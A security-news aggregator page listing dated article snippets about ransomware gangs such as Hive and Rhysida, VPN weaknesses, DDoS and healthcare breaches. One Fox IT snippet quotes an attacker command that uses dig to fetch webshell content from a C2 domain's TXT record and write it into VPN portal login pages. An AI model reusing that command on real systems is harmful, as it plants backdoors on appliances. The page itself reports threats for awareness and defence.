Security Affairs

JANUARY 13, 2024

Every week the best security articles from Security Affairs are free for you in your email box. Enjoy a new round of the weekly SecurityAffairs newsletter, including the international press.

VPN 107

VPN Cybercrime Ransomware Hacking 107

Security Affairs

JULY 6, 2022

Hive ransomware operators have improved their file-encrypting module by migrating to Rust language and adopting a more sophisticated encryption method. The operators of the Hive ransomware upgraded their malware by migrating the malware to the Rust language and implementing a more sophisticated encryption method, Microsoft researchers warn.

Encryption 116

Encryption Ransomware Cybercrime Malware 116

Security Affairs

MAY 13, 2021

FBI and DHS’s CISA have published a joint alert on DarkSide ransomware activity after the disruptive attack on Colonial Pipeline. FBI and DHS’s CISA have published a joint alert to warn of ransomware attacks conducted by the DarkSide group. The group provides Ransomware-as-a-Service (RaaS) to a network of affiliates.

Ransomware 110

Ransomware Healthcare Phishing Risk 110

eSecurity Planet

OCTOBER 20, 2021

Recent news headlines have shown how vulnerable even large companies with many resources at their disposal are to ransomware. One vendor says application security may be the key to stopping ransomware. Preventing Ransomware with Application Security. How Ransomware Accesses a Network.

Ransomware 104

Ransomware Software Network Security Authentication 104

Duo's Security Blog

NOVEMBER 17, 2021

One of the worst outcomes of a lack of a strong zero trust security foundation is a ransomware attack. The modernization of ransomware, coupled with Ransomware-as-a-Service (RaaS), has made it incredibly easy for attackers to launch a ransomware attack, which becomes an incredibly difficult problem to solve.

Ransomware 52

Ransomware Education VPN Authentication 52

Webroot

OCTOBER 22, 2021

The most popular options include virtual private network (VPN) or remote desktop protocol (RDP). VPN works by initiating a secure connection over the internet through data encryption. One downside of using a VPN connection involves vulnerability. One downside of using a VPN connection involves vulnerability.

VPN 110

VPN Penetration Testing Education Security Awareness 110

NetSpi Executives

APRIL 27, 2024

Table of Contents What is ransomware? Ransomware trends Ransomware prevention Ransomware detection Ransomware simulation Ransomware security terms How NetSPI can help What is ransomware? Ransomware adversaries hold the data hostage until a victim pays the ransom. How does ransomware work?

Ransomware 52

Ransomware Cyber Insurance Backups Insurance 52

Security Affairs

DECEMBER 26, 2023

The Rhysida ransomware group claimed to have hacked Abdali Hospital, a multi-specialty hospital located in Jordan. The Rhysida ransomware group claimed to have breached the Abdali Hospital in Jordan and added it to the list of victims on its Tor leak site. The Rhysida ransomware group has been active since May 2023.

Hacking 122

Hacking Ransomware Manufacturing Healthcare 122

Security Affairs

NOVEMBER 25, 2023

The Rhysida ransomware group claimed to have hacked the Chinese state-owned energy conglomerate China Energy Engineering Corporation. The Rhysida ransomware gang added the China Energy Engineering Corporation to the list of victims on its Tor leak site. The Rhysida ransomware operators plan to sell the stolen data to a single buyer.

Ransomware 120

Ransomware Hacking Engineering Manufacturing 120

Security Affairs

NOVEMBER 29, 2023

The Rhysida ransomware group claimed to have hacked King Edward VII’s Hospital in London. The Rhysida ransomware group claimed to have hacked King Edward VII’s Hospital in London and added it to the list of victims on its Tor leak site. King Edward VII’s Hospital in London has been breached by Rhysida Ransomware.

Ransomware 112

Ransomware Hacking Manufacturing Healthcare 112

Security Affairs

FEBRUARY 12, 2024

Researchers discovered a vulnerability in the code of the Rhysida ransomware that allowed them to develop a decryption tool. Cybersecurity researchers from Kookmin University and the Korea Internet and Security Agency (KISA) discovered an implementation vulnerability in the source code of the Rhysida ransomware.

Ransomware 115

Ransomware Encryption VPN Manufacturing 115

Security Affairs

NOVEMBER 20, 2023

The Rhysida ransomware group claimed responsibility for the recent cyberattack on the British Library that has caused a major IT outage. The Rhysida ransomware gang added the British Library to the list of victims on its Tor leak site. The Rhysida ransomware operators plan to sell the stolen data to a single buyer.

Ransomware 115

Ransomware Cyber Attacks Manufacturing Healthcare 115

Security Boulevard

APRIL 9, 2021

Prestigious healthcare systems continue to be at risk for the next devastating ransomware attack or data breach. The Impact of COVID-19 in Healthcare Security Continues. The last year of the COVID-19 pandemic has brought a striking proliferation of cyber-criminal activity against the healthcare industry.

Healthcare 72

Healthcare Ransomware Risk VPN 72

NopSec

FEBRUARY 15, 2017

Do you feel confident that everyone in your organization could identify a phishing email that contained ransomware? What if the recipient is in a hurry and under a lot of stress – will they be aware of how sophisticated and authentic-looking a well-crafted whaling attack can be? This equates to 10,000 victims compromised.

Phishing 40

Phishing Social Engineering Engineering Healthcare 40

Security Affairs

NOVEMBER 18, 2022

Hive ransomware operators have extorted over $100 million in ransom payments from over 1,300 companies worldwide as of November 2022. The threat actors behind the Hive ransomware -as-a-service (RaaS) have extorted $100 million in ransom payments from over 1,300 companies worldwide as of November 2022, reported the U.S. key files.

Ransomware 92

Ransomware VPN Manufacturing Healthcare 92

SecureList

JUNE 15, 2022

The most widespread techniques of monetizing cyberattacks include selling stolen databases, extortion (using ransomware) and carding. Request for access to corporate VPN. I publish log data of Azor ransomware for free, it could be useful for someone. I sell VPN accounts of USA companies, revenue is 1kkk$. Price: 1000 USD.

VPN 104

VPN Accountability Ransomware Encryption 104

eSecurity Planet

MARCH 14, 2023

In this simple environment network security followed a simple protocol: Authenticate the user : using a computer login (username + password) Check the user’s permissions: using Active Directory or a similar Lightweight Directory Access Protocol (LDAP) Enable communication with authorized network resources (servers, printers, etc.)

Network Security 98

Network Security Firewall Penetration Testing Encryption 98

eSecurity Planet

MARCH 16, 2023

And network users don’t just need to be authorized — they need to be authenticated, too. Businesses need to use authentication to verify the identity of the user, and that’s where access controls come in. To mitigate VPN vulnerabilities, implement least privilege access management across your infrastructure.

Network Security 109

Network Security Firewall Internet Internet 109

eSecurity Planet

JANUARY 14, 2022

And DDoS attackers have adopted a tactic from ransomware groups and are seeking payment from victims and potential victims. Meanwhile, the 2021 State of the Data Center Industry research report placed DDoS behind ransomware as the threats that most worry the enterprise. Neustar can secure VPN connections via VPN Protect.

DDOS 127

DDOS DNS Firewall Media 127

eSecurity Planet

MAY 2, 2024

Fortunately, vendor surveys identify five key cybersecurity threats to watch for in 2024: compromised credentials, attacks on infrastructure, organized and advanced adversaries, ransomware, and uncontrolled devices. No specific tool exists to defend specifically against nation state attacks, ransomware gangs, or hacktivists.

Cybersecurity 121

Cybersecurity DDOS Penetration Testing Passwords 121

Cisco Security

JUNE 25, 2021

In future years, Healthcare will be measured in pre and post pandemic terms. I now understand what Seamus Heaney called the “truth and risk” that surround us, the human procilivity for self-destruction was never more stark than when we faced weaponized disinformation and merciless ransomware attacks when millions were dying.

CISO 74

CISO Healthcare InfoSec Computers and Electronics 74

Fox IT

JUNE 30, 2020

These webshells would be deployed by issuing a “dig” command such as the following: exec('dig cmd.irannetworkteam.org txt|tee /var/vpn/themes/login.php | tee /netscaler/portal/templates/REDACTED.xml'); This would fetch the webshell content via a TXT record hosted on the C2 domain. Backdoors – Count by Country.

Engineering 64

Engineering VPN Passwords Malware 64

eSecurity Planet

APRIL 26, 2022

billion in 2021, and growing concerns over data security , software supply chains , and ransomware suggest the market will remain strong through economic ups and downs. Specializing in seed and Series A opportunities, the San Francisco-based firm has an extensive consumer, enterprise, and healthcare investments portfolio.

Cybersecurity 128

Cybersecurity Technology Marketing Healthcare 128